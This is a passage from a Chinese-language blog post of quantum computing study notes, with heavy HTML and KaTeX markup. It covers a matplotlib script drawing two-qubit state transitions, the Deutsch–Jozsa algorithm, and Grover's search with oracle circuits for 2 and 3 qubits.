class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">6.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 3. 定義每個時間段的箭頭映射關係 (根據量子閘矩陣運算)</span><span class="token comment"># Step 1: X_q1 (0 -> 1) -> 翻轉左位元</span>step1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 2: H_q1 H_q0 (1 -> 2) -> 從 10 點分岔出四個狀態，後兩個帶負號(紅)</span>step2 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 3: X_q0 (2 -> 3) -> 翻轉右位元 (00&lt;->01, 10&lt;->11)</span>step3 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 4: CNOT (3 -> 4) -> q0控制q1 (右位元為1時，左位元翻轉)</span>step4 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 5: X_q0 (4 -> 5) -> 再次翻轉右位元</span>step5 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 6: H_q0 (5 -> 6) -> Hadamard 作用在右位元，展開並引入對應相位</span>step6 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>all_steps <span class="token operator">=</span> <span class="token punctuation">[</span>step1<span class="token punctuation">,</span> step2<span class="token punctuation">,</span> step3<span class="token punctuation">,</span> step4<span class="token punctuation">,</span> step5<span class="token punctuation">,</span> step6<span class="token punctuation">]</span><span class="token comment"># 4. 繪製彩色方向箭頭</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> step_connections <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>all_steps<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_start <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span>    x_end <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> step_connections<span class="token punctuation">:</span>        sy <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        ey <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span>x_end<span class="token punctuation">,</span> ey<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span>x_start<span class="token punctuation">,</span> sy<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 5. 在每一段上方中央標註 Gate Name (對應你的 OpenQASM 順序)</span>gate_names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"$X_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_1&#125;H_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$X_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"CNOT"</span><span class="token punctuation">,</span> <span class="token string">"$X_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_0&#125;$"</span><span class="token punctuation">]</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> name <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>gate_names<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_center <span class="token operator">=</span> <span class="token punctuation">(</span>x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span> <span class="token operator">+</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span>x_center<span class="token punctuation">,</span> <span class="token number">3.6</span><span class="token punctuation">,</span> name<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'bottom'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 微調畫布邊界並關閉座標軸</span>ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.6</span><span class="token punctuation">,</span> <span class="token number">6.6</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">4.0</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>tight_layout<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 儲存圖片</span>plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span><span class="token string">'maze.png'</span><span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"新電路的串聯迷宮演進圖已成功生成：maze.png"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><p>可以看到在跑完 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mrow><mo>⊗</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">H^{\otimes 2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">⊗</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span> 之後分散成了四條線，對應到第 1 點。<br>而在最後可以看到紅色跟藍色的線碰在一起發生破壞性干涉消掉，對應到第 2 點。</p><h2 id="deutsch%E2%80%93jozsa-algorithm" tabindex="-1" id="Deutsch–Jozsa-algorithm">Deutsch–Jozsa algorithm</h2><p>這是上面那個演算法的加強版，從 1 個 bytes 推廣成 n 個 bytes。<br>印象中上課時就簡單帶過，書裡有詳細寫但我現在還懶得看XD<br>所以就放一張上課拍的簡報<s>草草了事</s>w</p><p><a href="DJ.jpg">Deutsch–Jozsa algorithm</a></p><p>這個在古典中用最爛的演算法需要計算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">2^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span> 次 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span>，比較 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><msup><mn>2</mn><mi>n</mi></msup><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><msup><mn>2</mn><mi>n</mi></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{(2^n-1)2^n}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.355em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mclose mtight">)</span><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 次；但用這個量子演算法只要計算 1 次，比較 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 次！</p><h3 id="%E5%A6%82%E4%BD%95%E8%A8%AD%E8%A8%88-f(x)-%E7%9A%84%E7%B7%9A%E8%B7%AF" tabindex="-1" id="如何設計-f-x-的線路">如何設計 f(x) 的線路</h3><p>和之前一樣的問題，一樣放上課拍的黑板<s>草草了事</s>w<br>反正就是拆項看，然後用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>C</mi><mi>n</mi></msup><mi>N</mi><mi>O</mi><mi>T</mi></mrow><annotation encoding="application/x-tex">C^n NOT</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span></span></span></span> Gate。</p><p><img src="2026-07-19-13-59-57.png" alt="f(x) 線路"></p><h2 id="grover-algorithm" tabindex="-1" id="Grover-algorithm">Grover algorithm</h2><p>這是一個量子無序搜尋演算法，比古典好，古典需要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>，這個只要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>N</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\sqrt{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1767em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1133em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span> 是資料數量)<br>這個演算法的原理是先創造平均量子態，然後重複若干次以下由 Oracle 和 Diffusion Operator 組合而成的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 運算子：</p><ul><li>Oracle(神諭)：把要找的項標記──加負號(把相位轉 180 度)</li><li>Diffusion Operator：把目前狀態對平均量子態做對稱，這會讓目標的振幅變大，其他變小。</li></ul><p>我們要跑適當輪數的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 讓 State vector 旋轉到與目標狀態重合(與非目標狀態夾角接近 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{\pi}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">π</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>)，然後執行測量。<br>這個的幾何圖形可以上網查到</p><h3 id="2-%E5%80%8B-qubits" tabindex="-1" id="2-個-qubits">2 個 qubits</h3><p>我們先從最簡單的 2 個 qubits 開始。將要找的資料以 00, 01, 10, 11 編號。</p><p>有兩種實現方式，第一種需要引進額外的一個輔助位元，第二種則不用，我們先依序來看</p><h4 id="%E6%96%B9%E6%B3%951%EF%BC%9A%E9%9C%80%E8%A6%81%E8%BC%94%E5%8A%A9%E4%BD%8D%E5%85%83" tabindex="-1" id="方法1：需要輔助位元">方法1：需要輔助位元</h4><p>流程如下：</p><p><img src="2026-07-19-15-17-37.png" alt="方法1 流程"></p><p>而具體線路會長這樣：</p><p><img src="2026-07-19-15-18-51.png" alt="方法1 線路"></p><h4 id="%E6%96%B9%E6%B3%952%EF%BC%9A%E4%B8%8D%E9%9C%80%E8%A6%81%E8%BC%94%E5%8A%A9%E4%BD%8D%E5%85%83" tabindex="-1" id="方法2：不需要輔助位元">方法2：不需要輔助位元</h4><p><img src="2026-07-19-15-20-52.png" alt="方法2 線路"></p><p>以上是搜尋 11 的，如果今天是要搜尋 00, 01 或 10 呢？<br>我們只會搜尋 11，所以方法就是將我們的目標先「偽裝」成 11 再還原回來<br>所以我們要對 Oracle 進行修改(因為 Oracle 是拿來標記目標的)，如以下(應該不難理解)：</p><p><img src="2026-07-19-15-22-50.png" alt="Oracle 修改"></p><h3 id="3-%E5%80%8B-qubits" tabindex="-1" id="3-個-qubits">3 個 qubits</h3><p>和前面類似，所以我就直接把搜尋 111 的兩種方式的線路跟結果放上來</p><h4 id="%E6%96%B9%E6%B3%951" tabindex="-1" id="方法1">方法1</h4><p><img src="2026-07-19-15-28-06.png" alt="3 qubits 方法1 線路"></p><p><img src="2026-07-19-15-28-34.png" alt="3 qubits 方法1 結果"></p><h4 id="%E6%96%B9%E6%B3%952" tabindex="-1" id="方法2">方法2</h4><p><img src="2026-07-19-15-25-15.png" alt="3 qubits 方法2 線路"></p><p><img src="2026-07-19-15-26-14.png" alt="3 qubits 方法2 機率"></p><p>放個實機跑的結果：</p><p><img src="job_d9c7c4fngvls73a93ks0_results_c.svg" alt="實機結果"></p><blockquote><p>這裡說一下 CZ Gate 變成了什麼。他其實應該對應的被換成 CCZ Gate，但因為系統上沒 CCZ Gate 可以用所以我們借助之前提到的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mo>†</mo></msup><mi>X</mi><mi>H</mi><mo>=</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">H^\dagger X H = Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span></span></span></span> 來達到等價的效果。</p></blockquote><blockquote><p>其實 Grover 演算法可以一次找不只一個目標，那就是要去設計對應的 Oracle 了</p></blockquote><h3 id="%E8%A4%87%E9%9B%9C%E5%BA%A6%E5%88%86%E6%9E%90" tabindex="-1" id="複雜度分析">複雜度分析</h3><p>假設重複迭代了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> 次，此時量子態為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>G</mi><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mo>=</mo><mi>cos</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>α</mi><mo stretchy="false">⟩</mo><mo>+</mo><mi>sin</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>β</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">G^k\vert{}\psi\rangle = \cos\left(\frac{2k+1}{2}\theta\right) \vert{}\alpha\rangle + \sin\left(\frac{2k+1}{2}\theta\right)\vert{}\beta\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span 